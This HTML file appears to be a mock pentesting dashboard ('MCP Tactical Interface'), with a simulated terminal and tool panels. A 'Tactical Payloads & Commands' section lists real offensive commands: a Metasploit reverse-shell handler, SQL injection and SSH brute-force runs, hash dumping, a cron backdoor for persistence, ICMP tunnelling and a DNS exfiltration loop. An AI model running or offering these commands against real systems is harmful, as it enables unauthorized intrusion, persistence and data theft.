mcp-server-interface / index.html
S-Dreamer's picture
add a section for example payloads and commands for the various tools with demonstrated efficacy - Follow Up Deployment
9540149 verified
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>MCP Server Interface | Pentesting Panel</title>
<script src="https://cdn.tailwindcss.com"></script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
<style>
@import url('https://fonts.googleapis.com/css2?family=Source+Code+Pro:wght@400;500;600&display=swap');
body {
font-family: 'Source Code Pro', monospace;
background-color: #0f172a;
}
.terminal {
background-color: rgba(15, 23, 42, 0.8);
border: 1px solid #334155;
box-shadow: 0 0 15px rgba(74, 222, 128, 0.1);
}
.terminal-header {
background: linear-gradient(90deg, #0f172a, #1e293b, #0f172a);
}
.terminal-body {
background-color: rgba(2, 6, 23, 0.7);
}
.command-line {
background-color: rgba(15, 23, 42, 0.5);
}
.blink {
animation: blink 1s infinite;
}
@keyframes blink {
0%, 100% { opacity: 1; }
50% { opacity: 0; }
}
.tool-card:hover {
transform: translateY(-2px);
box-shadow: 0 4px 6px rgba(74, 222, 128, 0.2);
}
.scrollbar-hide::-webkit-scrollbar {
display: none;
}
</style>
</head>
<body class="text-gray-200 min-h-screen">
<div class="container mx-auto px-4 py-8">
<!-- Modals for Quick Actions -->
<div id="network-scan-modal" class="fixed inset-0 bg-black bg-opacity-50 flex items-center justify-center z-50 hidden">
<div class="bg-slate-800 rounded-lg p-6 w-full max-w-md">
<div class="flex justify-between items-center mb-4">
<h3 class="text-lg font-bold"><i class="fas fa-network-wired mr-2"></i>Network Scan</h3>
<button onclick="closeModal('network-scan-modal')" class="text-gray-400 hover:text-white">&times;</button>
</div>
<div class="space-y-4">
<div>
<label class="block text-sm mb-1">Target IP/Range</label>
<input type="text" class="w-full bg-slate-700 border border-slate-600 rounded p-2 text-sm">
</div>
<div>
<label class="block text-sm mb-1">Port Range</label>
<input type="text" value="1-1000" class="w-full bg-slate-700 border border-slate-600 rounded p-2 text-sm">
</div>
<div class="flex space-x-2">
<button class="bg-green-600 hover:bg-green-700 px-4 py-2 rounded text-sm flex-1">Start Scan</button>
<button onclick="closeModal('network-scan-modal')" class="bg-slate-700 hover:bg-slate-600 px-4 py-2 rounded text-sm flex-1">Cancel</button>
</div>
</div>
</div>
</div>
<div id="brute-force-modal" class="fixed inset-0 bg-black bg-opacity-50 flex items-center justify-center z-50 hidden">
<div class="bg-slate-800 rounded-lg p-6 w-full max-w-md">
<div class="flex justify-between items-center mb-4">
<h3 class="text-lg font-bold"><i class="fas fa-lock-open mr-2"></i>Brute Force</h3>
<button onclick="closeModal('brute-force-modal')" class="text-gray-400 hover:text-white">&times;</button>
</div>
<div class="space-y-4">
<div>
<label class="block text-sm mb-1">Target</label>
<input type="text" class="w-full bg-slate-700 border border-slate-600 rounded p-2 text-sm">
</div>
<div>
<label class="block text-sm mb-1">Username/Wordlist</label>
<input type="text" class="w-full bg-slate-700 border border-slate-600 rounded p-2 text-sm">
</div>
<div>
<label class="block text-sm mb-1">Password/Wordlist</label>
<input type="text" class="w-full bg-slate-700 border border-slate-600 rounded p-2 text-sm">
</div>
<div class="flex space-x-2">
<button class="bg-red-600 hover:bg-red-700 px-4 py-2 rounded text-sm flex-1">Start Attack</button>
<button onclick="closeModal('brute-force-modal')" class="bg-slate-700 hover:bg-slate-600 px-4 py-2 rounded text-sm flex-1">Cancel</button>
</div>
</div>
</div>
</div>
<div id="sql-injection-modal" class="fixed inset-0 bg-black bg-opacity-50 flex items-center justify-center z-50 hidden">
<div class="bg-slate-800 rounded-lg p-6 w-full max-w-md">
<div class="flex justify-between items-center mb-4">
<h3 class="text-lg font-bold"><i class="fas fa-code mr-2"></i>SQL Injection</h3>
<button onclick="closeModal('sql-injection-modal')" class="text-gray-400 hover:text-white">&times;</button>
</div>
<div class="space-y-4">
<div>
<label class="block text-sm mb-1">Target URL</label>
<input type="text" class="w-full bg-slate-700 border border-slate-600 rounded p-2 text-sm">
</div>
<div>
<label class="block text-sm mb-1">Vulnerable Parameter</label>
<input type="text" class="w-full bg-slate-700 border border-slate-600 rounded p-2 text-sm">
</div>
<div class="flex space-x-2">
<button class="bg-purple-600 hover:bg-purple-700 px-4 py-2 rounded text-sm flex-1">Test</button>
<button onclick="closeModal('sql-injection-modal')" class="bg-slate-700 hover:bg-slate-600 px-4 py-2 rounded text-sm flex-1">Cancel</button>
</div>
</div>
</div>
</div>
<div id="remote-shell-modal" class="fixed inset-0 bg-black bg-opacity-50 flex items-center justify-center z-50 hidden">
<div class="bg-slate-800 rounded-lg p-6 w-full max-w-md">
<div class="flex justify-between items-center mb-4">
<h3 class="text-lg font-bold"><i class="fas fa-desktop mr-2"></i>Remote Shell</h3>
<button onclick="closeModal('remote-shell-modal')" class="text-gray-400 hover:text-white">&times;</button>
</div>
<div class="space-y-4">
<div>
<label class="block text-sm mb-1">Target IP</label>
<input type="text" class="w-full bg-slate-700 border border-slate-600 rounded p-2 text-sm">
</div>
<div>
<label class="block text-sm mb-1">Port</label>
<input type="text" value="4444" class="w-full bg-slate-700 border border-slate-600 rounded p-2 text-sm">
</div>
<div class="flex space-x-2">
<button class="bg-blue-600 hover:bg-blue-700 px-4 py-2 rounded text-sm flex-1">Connect</button>
<button onclick="closeModal('remote-shell-modal')" class="bg-slate-700 hover:bg-slate-600 px-4 py-2 rounded text-sm flex-1">Cancel</button>
</div>
</div>
</div>
</div>
<!-- Header -->
<header class="flex flex-col md:flex-row justify-between items-center mb-8 border-b border-gray-700 pb-4">
<div class="flex items-center mb-4 md:mb-0">
<div class="relative mr-3">
<div class="w-8 h-8 bg-gray-800 rounded-full flex items-center justify-center border border-gray-600">
<i class="fas fa-star text-yellow-500 text-xs"></i>
</div>
<div class="absolute -bottom-1 left-1/2 transform -translate-x-1/2 w-6 h-1 bg-gray-700 rounded-sm"></div>
</div>
<div class="flex items-center">
<div class="w-3 h-3 rounded-full bg-green-500 mr-2 border border-green-300"></div>
<div class="w-3 h-3 rounded-full bg-yellow-500 mr-2 border border-yellow-300"></div>
<div class="w-3 h-3 rounded-full bg-red-500 mr-2 border border-red-300"></div>
<h1 class="text-2xl font-bold ml-2 tracking-tighter">MCP TACTICAL INTERFACE</h1>
</div>
</div>
<div class="flex items-center space-x-4">
<div class="flex items-center bg-gray-800 px-3 py-1 rounded border border-gray-700">
<i class="fas fa-shield-alt text-green-500 mr-2"></i>
<span class="text-xs font-mono">SECURE CHANNEL</span>
</div>
<div class="hidden md:flex items-center bg-gray-800 px-3 py-1 rounded border border-gray-700">
<i class="fas fa-bolt text-yellow-500 mr-2"></i>
<span class="text-xs font-mono">TACTICAL MODE</span>
</div>
<div class="hidden md:flex items-center bg-gray-800 px-3 py-1 rounded border border-gray-700">
<i class="fas fa-user-secret text-purple-500 mr-2"></i>
<span class="text-xs font-mono">COVERT OPS</span>
</div>
</div>
</header>
<div class="grid grid-cols-1 lg:grid-cols-3 gap-6">
<!-- Main Terminal -->
<div class="terminal rounded-lg overflow-hidden lg:col-span-2 border-2 border-gray-700">
<div class="terminal-header p-3 flex items-center bg-gray-900 border-b border-gray-700">
<div class="flex space-x-2 mr-4">
<div class="w-3 h-3 rounded-full bg-red-500 border border-red-300"></div>
<div class="w-3 h-3 rounded-full bg-yellow-500 border border-yellow-300"></div>
<div class="w-3 h-3 rounded-full bg-green-500 border border-green-300"></div>
</div>
<div class="text-sm font-mono tracking-tighter">OPERATOR@TAC-COMMAND:~</div>
<div class="ml-auto flex space-x-1">
<div class="w-2 h-2 rounded-full bg-gray-600"></div>
<div class="w-2 h-2 rounded-full bg-gray-600"></div>
<div class="w-2 h-2 rounded-full bg-gray-600"></div>
</div>
</div>
<div class="terminal-body p-4 h-96 overflow-y-auto scrollbar-hide bg-gray-900/50">
<div class="mb-2">
<span class="text-green-500">root@mcp-server</span>:<span class="text-blue-500">~</span>$ <span class="text-white">sudo ./mcp --init</span>
</div>
<div class="text-green-400 mb-4">
[✓] MCP Server Interface initialized<br>
[✓] Security protocols engaged<br>
[✓] Toolset loaded<br>
[✓] Ready for operations
</div>
<div class="mb-2">
<span class="text-green-500">root@mcp-server</span>:<span class="text-blue-500">~</span>$ <span class="text-white">status --all</span>
</div>
<div class="text-yellow-400 mb-4">
[+] Nmap: Ready<br>
[+] Metasploit: Ready<br>
[+] Burp Suite: Ready<br>
[+] John the Ripper: Ready<br>
[+] Hydra: Ready<br>
[+] SQLmap: Ready<br>
[+] Wireshark: Ready
</div>
<div class="mb-2">
<span class="text-green-500">root@mcp-server</span>:<span class="text-blue-500">~</span>$ <span class="text-white">scan --target 10.0.0.1/24</span>
</div>
<div class="text-purple-400 mb-4">
[+] Scanning network 10.0.0.1/24<br>
[+] Found 5 active hosts<br>
[+] Port scan initiated<br>
[>] 10.0.0.5:22 (SSH) - Open<br>
[>] 10.0.0.5:80 (HTTP) - Open<br>
[>] 10.0.0.5:443 (HTTPS) - Open<br>
[>] 10.0.0.10:3389 (RDP) - Open
</div>
<div class="mb-2">
<span class="text-green-500">root@mcp-server</span>:<span class="text-blue-500">~</span>$ <span class="text-white">exploit --target 10.0.0.5 --port 80</span>
</div>
<div class="text-red-400 mb-4">
[+] Exploiting 10.0.0.5:80<br>
[+] Detected Apache 2.4.29<br>
[+] Checking vulnerabilities...<br>
[!] CVE-2021-41773 detected<br>
[+] Attempting exploit...
</div>
<div id="command-history" class="space-y-2"></div>
<div class="command-line flex items-center mt-2">
<span class="text-green-500">root@mcp-server</span>:<span class="text-blue-500">~</span>$
<input type="text" id="command-input" class="bg-transparent border-none outline-none flex-grow ml-2 text-white" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false">
<span class="blink">|</span>
</div>
</div>
</div>
<!-- Tools Panel -->
<div class="space-y-6">
<!-- Quick Actions -->
<div class="bg-slate-800 rounded-lg p-4">
<h2 class="text-lg font-bold mb-4 flex items-center">
<i class="fas fa-bolt text-yellow-500 mr-2"></i> Quick Actions
</h2>
<div class="grid grid-cols-2 gap-3">
<button onclick="openModal('network-scan-modal')" class="bg-slate-700 hover:bg-slate-600 rounded p-2 text-sm flex items-center justify-center">
<i class="fas fa-network-wired mr-2"></i> Network Scan
</button>
<button onclick="openModal('brute-force-modal')" class="bg-slate-700 hover:bg-slate-600 rounded p-2 text-sm flex items-center justify-center">
<i class="fas fa-lock-open mr-2"></i> Brute Force
</button>
<button onclick="openModal('sql-injection-modal')" class="bg-slate-700 hover:bg-slate-600 rounded p-2 text-sm flex items-center justify-center">
<i class="fas fa-code mr-2"></i> SQL Injection
</button>
<button onclick="openModal('remote-shell-modal')" class="bg-slate-700 hover:bg-slate-600 rounded p-2 text-sm flex items-center justify-center">
<i class="fas fa-desktop mr-2"></i> Remote Shell
</button>
</div>
</div>
<!-- Active Sessions -->
<div class="bg-slate-800 rounded-lg p-4">
<h2 class="text-lg font-bold mb-4 flex items-center">
<i class="fas fa-plug text-green-500 mr-2"></i> Active Sessions
</h2>
<div class="space-y-2">
<div class="flex items-center justify-between bg-slate-700 p-2 rounded text-sm">
<div class="flex items-center">
<div class="w-2 h-2 rounded-full bg-green-500 mr-2"></div>
<span>10.0.0.5:80</span>
</div>
<span class="text-green-400">Active</span>
</div>
<div class="flex items-center justify-between bg-slate-700 p-2 rounded text-sm">
<div class="flex items-center">
<div class="w-2 h-2 rounded-full bg-green-500 mr-2"></div>
<span>10.0.0.10:3389</span>
</div>
<span class="text-green-400">Active</span>
</div>
<div class="flex items-center justify-between bg-slate-700 p-2 rounded text-sm">
<div class="flex items-center">
<div class="w-2 h-2 rounded-full bg-yellow-500 mr-2"></div>
<span>192.168.1.15:22</span>
</div>
<span class="text-yellow-400">Pending</span>
</div>
</div>
</div>
<!-- Tool Status -->
<div class="bg-slate-800 rounded-lg p-4">
<h2 class="text-lg font-bold mb-4 flex items-center">
<i class="fas fa-tools text-blue-500 mr-2"></i> Tool Status
</h2>
<div class="space-y-3">
<div class="flex items-center justify-between">
<span class="text-sm">Nmap</span>
<div class="flex items-center">
<span class="text-green-400 text-xs mr-2">Running</span>
<div class="w-2 h-2 rounded-full bg-green-500"></div>
</div>
</div>
<div class="flex items-center justify-between">
<span class="text-sm">Metasploit</span>
<div class="flex items-center">
<span class="text-green-400 text-xs mr-2">Ready</span>
<div class="w-2 h-2 rounded-full bg-green-500"></div>
</div>
</div>
<div class="flex items-center justify-between">
<span class="text-sm">Burp Suite</span>
<div class="flex items-center">
<span class="text-yellow-400 text-xs mr-2">Idle</span>
<div class="w-2 h-2 rounded-full bg-yellow-500"></div>
</div>
</div>
<div class="flex items-center justify-between">
<span class="text-sm">SQLmap</span>
<div class="flex items-center">
<span class="text-red-400 text-xs mr-2">Offline</span>
<div class="w-2 h-2 rounded-full bg-red-500"></div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- Tactical Payloads -->
<div class="mt-8 bg-slate-800 rounded-lg p-6 border-2 border-gray-700">
<h2 class="text-xl font-bold mb-6 flex items-center">
<i class="fas fa-code-branch text-red-500 mr-3"></i> Tactical Payloads & Commands
</h2>
<div class="grid grid-cols-1 md:grid-cols-2 gap-6">
<!-- Network Recon -->
<div class="bg-slate-900 rounded-lg p-4 border border-gray-700">
<h3 class="font-bold mb-3 text-red-400 flex items-center">
<i class="fas fa-network-wired mr-2"></i> Network Recon
</h3>
<div class="space-y-3 font-mono text-sm">
<div class="bg-black p-2 rounded">
<div class="text-green-400"># Full TCP scan with OS detection</div>
<div class="text-white">nmap -sS -A -O -T4 10.0.0.1/24</div>
</div>
<div class="bg-black p-2 rounded">
<div class="text-green-400"># Stealthy SYN scan top ports</div>
<div class="text-white">nmap -sS --top-ports 20 -T2 10.0.0.5</div>
</div>
<div class="bg-black p-2 rounded">
<div class="text-green-400"># UDP service scan</div>
<div class="text-white">nmap -sU -sV -p 53,67,123,161 10.0.0.1</div>
</div>
</div>
</div>
<!-- Exploitation -->
<div class="bg-slate-900 rounded-lg p-4 border border-gray-700">
<h3 class="font-bold mb-3 text-red-400 flex items-center">
<i class="fas fa-bug mr-2"></i> Exploitation
</h3>
<div class="space-y-3 font-mono text-sm">
<div class="bg-black p-2 rounded">
<div class="text-green-400"># Metasploit reverse shell</div>
<div class="text-white">msfconsole -q -x "use exploit/multi/handler; set payload linux/x86/meterpreter/reverse_tcp; set LHOST 10.0.0.2; set LPORT 4444; exploit"</div>
</div>
<div class="bg-black p-2 rounded">
<div class="text-green-400"># SQL injection test</div>
<div class="text-white">sqlmap -u "http://target.com/page?id=1" --risk=3 --level=5 --batch</div>
</div>
<div class="bg-black p-2 rounded">
<div class="text-green-400"># Hydra SSH brute force</div>
<div class="text-white">hydra -L users.txt -P passwords.txt ssh://10.0.0.5 -t 4</div>
</div>
</div>
</div>
<!-- Post Exploitation -->
<div class="bg-slate-900 rounded-lg p-4 border border-gray-700">
<h3 class="font-bold mb-3 text-red-400 flex items-center">
<i class="fas fa-terminal mr-2"></i> Post Exploitation
</h3>
<div class="space-y-3 font-mono text-sm">
<div class="bg-black p-2 rounded">
<div class="text-green-400"># Privilege escalation check</div>
<div class="text-white">linpeas.sh | tee linpeas.log</div>
</div>
<div class="bg-black p-2 rounded">
<div class="text-green-400"># Dump hashes (Windows)</div>
<div class="text-white">meterpreter > hashdump</div>
</div>
<div class="bg-black p-2 rounded">
<div class="text-green-400"># Persistence (Linux)</div>
<div class="text-white">echo "*/5 * * * * /tmp/.backdoor" | crontab -</div>
</div>
</div>
</div>
<!-- Covert Ops -->
<div class="bg-slate-900 rounded-lg p-4 border border-gray-700">
<h3 class="font-bold mb-3 text-red-400 flex items-center">
<i class="fas fa-user-secret mr-2"></i> Covert Ops
</h3>
<div class="space-y-3 font-mono text-sm">
<div class="bg-black p-2 rounded">
<div class="text-green-400"># ICMP tunneling</div>
<div class="text-white">ptunnel -p 10.0.0.1 -lp 1080 -da 10.0.0.5 -dp 22 -x password</div>
</div>
<div class="bg-black p-2 rounded">
<div class="text-green-400"># DNS exfiltration</div>
<div class="text-white">for i in $(cat data.txt | xxd -p); do dig $i.domain.com; done</div>
</div>
<div class="bg-black p-2 rounded">
<div class="text-green-400"># Steganography</div>
<div class="text-white">steghide embed -cf image.jpg -ef secret.txt -p "Pa$w0rd"</div>
</div>
</div>
</div>
</div>
</div>
<!-- Tools Grid -->
<div class="mt-8">
<h2 class="text-xl font-bold mb-6 flex items-center">
<i class="fas fa-box-open text-purple-500 mr-3"></i> Toolbox
</h2>
<div class="grid grid-cols-2 sm:grid-cols-3 md:grid-cols-4 lg:grid-cols-6 gap-4">
<div class="tool-card bg-slate-800 rounded-lg p-4 flex flex-col items-center transition-all cursor-pointer">
<div class="bg-slate-700 rounded-full w-12 h-12 flex items-center justify-center mb-2">
<i class="fas fa-network-wired text-green-500 text-xl"></i>
</div>
<span class="text-sm font-medium">Nmap</span>
</div>
<div class="tool-card bg-slate-800 rounded-lg p-4 flex flex-col items-center transition-all cursor-pointer">
<div class="bg-slate-700 rounded-full w-12 h-12 flex items-center justify-center mb-2">
<i class="fas fa-bug text-red-500 text-xl"></i>
</div>
<span class="text-sm font-medium">Metasploit</span>
</div>
<div class="tool-card bg-slate-800 rounded-lg p-4 flex flex-col items-center transition-all cursor-pointer">
<div class="bg-slate-700 rounded-full w-12 h-12 flex items-center justify-center mb-2">
<i class="fas fa-spider text-yellow-500 text-xl"></i>
</div>
<span class="text-sm font-medium">Burp Suite</span>
</div>
<div class="tool-card bg-slate-800 rounded-lg p-4 flex flex-col items-center transition-all cursor-pointer">
<div class="bg-slate-700 rounded-full w-12 h-12 flex items-center justify-center mb-2">
<i class="fas fa-key text-blue-500 text-xl"></i>
</div>
<span class="text-sm font-medium">John</span>
</div>
<div class="tool-card bg-slate-800 rounded-lg p-4 flex flex-col items-center transition-all cursor-pointer">
<div class="bg-slate-700 rounded-full w-12 h-12 flex items-center justify-center mb-2">
<i class="fas fa-database text-purple-500 text-xl"></i>
</div>
<span class="text-sm font-medium">SQLmap</span>
</div>
<div class="tool-card bg-slate-800 rounded-lg p-4 flex flex-col items-center transition-all cursor-pointer">
<div class="bg-slate-700 rounded-full w-12 h-12 flex items-center justify-center mb-2">
<i class="fas fa-shield-alt text-pink-500 text-xl"></i>
</div>
<span class="text-sm font-medium">Wireshark</span>
</div>
</div>
</div>
<!-- Footer -->
<footer class="mt-12 border-t border-slate-700 pt-6 text-sm text-slate-400">
<div class="flex flex-col md:flex-row justify-between items-center">
<div class="flex items-center space-x-4 mb-4 md:mb-0">
<span>MCP SERVER v2.4.1</span>
<span class="hidden md:inline">|</span>
<span class="flex items-center">
<i class="fas fa-circle text-green-500 text-xs mr-1"></i> SECURE CONNECTION
</span>
</div>
<div class="flex space-x-4">
<button class="hover:text-green-400">
<i class="fas fa-cog mr-1"></i> Settings
</button>
<button class="hover:text-green-400">
<i class="fas fa-question-circle mr-1"></i> Help
</button>
<button class="hover:text-green-400">
<i class="fas fa-sign-out-alt mr-1"></i> Logout
</button>
</div>
</div>
<div class="mt-4 text-center md:text-left">
<p>For authorized penetration testing only. All activities are logged.</p>
</div>
</footer>
</div>
<script>
// Terminal functionality
const commandInput = document.getElementById('command-input');
const commandHistory = document.getElementById('command-history');
// Sample commands and responses
const commands = {
'help': 'Available commands: scan, exploit, status, clear, help',
'scan': 'Usage: scan --target <ip> [--ports <range>] [--quick]',
'exploit': 'Usage: exploit --target <ip> --port <port> [--vulnerability <cve>]',
'status': 'All systems operational. Tools ready for deployment.',
'clear': () => { commandHistory.innerHTML = ''; return ''; }
};
commandInput.addEventListener('keypress', function(e) {
if (e.key === 'Enter') {
const command = commandInput.value.trim();
commandInput.value = '';
// Add command to history
const commandElement = document.createElement('div');
commandElement.className = 'mb-2';
commandElement.innerHTML = `
<span class="text-green-500">root@mcp-server</span>:<span class="text-blue-500">~</span>$ <span class="text-white">${command}</span>
`;
commandHistory.appendChild(commandElement);
// Process command
let response = 'Command not recognized. Type "help" for available commands.';
if (commands[command.toLowerCase()]) {
response = typeof commands[command.toLowerCase()] === 'function' ?
commands[command.toLowerCase()]() :
commands[command.toLowerCase()];
}
// Add response to history
if (response) {
const responseElement = document.createElement('div');
responseElement.className = 'mb-4 text-green-400';
responseElement.textContent = response;
commandHistory.appendChild(responseElement);
}
// Scroll to bottom
commandHistory.parentElement.scrollTop = commandHistory.parentElement.scrollHeight;
}
});
// Focus on input when clicking anywhere in terminal
document.querySelector('.terminal-body').addEventListener('click', function() {
commandInput.focus();
});
// Auto-focus input on page load
commandInput.focus();
// Modal controls
function openModal(id) {
document.getElementById(id).classList.remove('hidden');
}
function closeModal(id) {
document.getElementById(id).classList.add('hidden');
}
// Close modal when clicking outside
document.querySelectorAll('[id$="-modal"]').forEach(modal => {
modal.addEventListener('click', function(e) {
if (e.target === this) {
this.classList.add('hidden');
}
});
});
// Toolbox hover effects
document.querySelectorAll('.tool-card').forEach(card => {
card.addEventListener('mouseenter', function() {
const icon = this.querySelector('i');
icon.classList.add('fa-bounce');
});
card.addEventListener('mouseleave', function() {
const icon = this.querySelector('i');
icon.classList.remove('fa-bounce');
});
});
</script>
<p style="border-radius: 8px; text-align: center; font-size: 12px; color: #fff; margin-top: 16px;position: fixed; left: 8px; bottom: 8px; z-index: 10; background: rgba(0, 0, 0, 0.8); padding: 4px 8px;">Made with <img src="https://enzostvs-deepsite.hf.space/logo.svg" alt="DeepSite Logo" style="width: 16px; height: 16px; vertical-align: middle;display:inline-block;margin-right:3px;filter:brightness(0) invert(1);"><a href="https://enzostvs-deepsite.hf.space" style="color: #fff;text-decoration: underline;" target="_blank" >DeepSite</a> - 🧬 <a href="https://enzostvs-deepsite.hf.space?remix=S-Dreamer/mcp-server-interface" style="color: #fff;text-decoration: underline;" target="_blank" >Remix</a></p></body>
</html>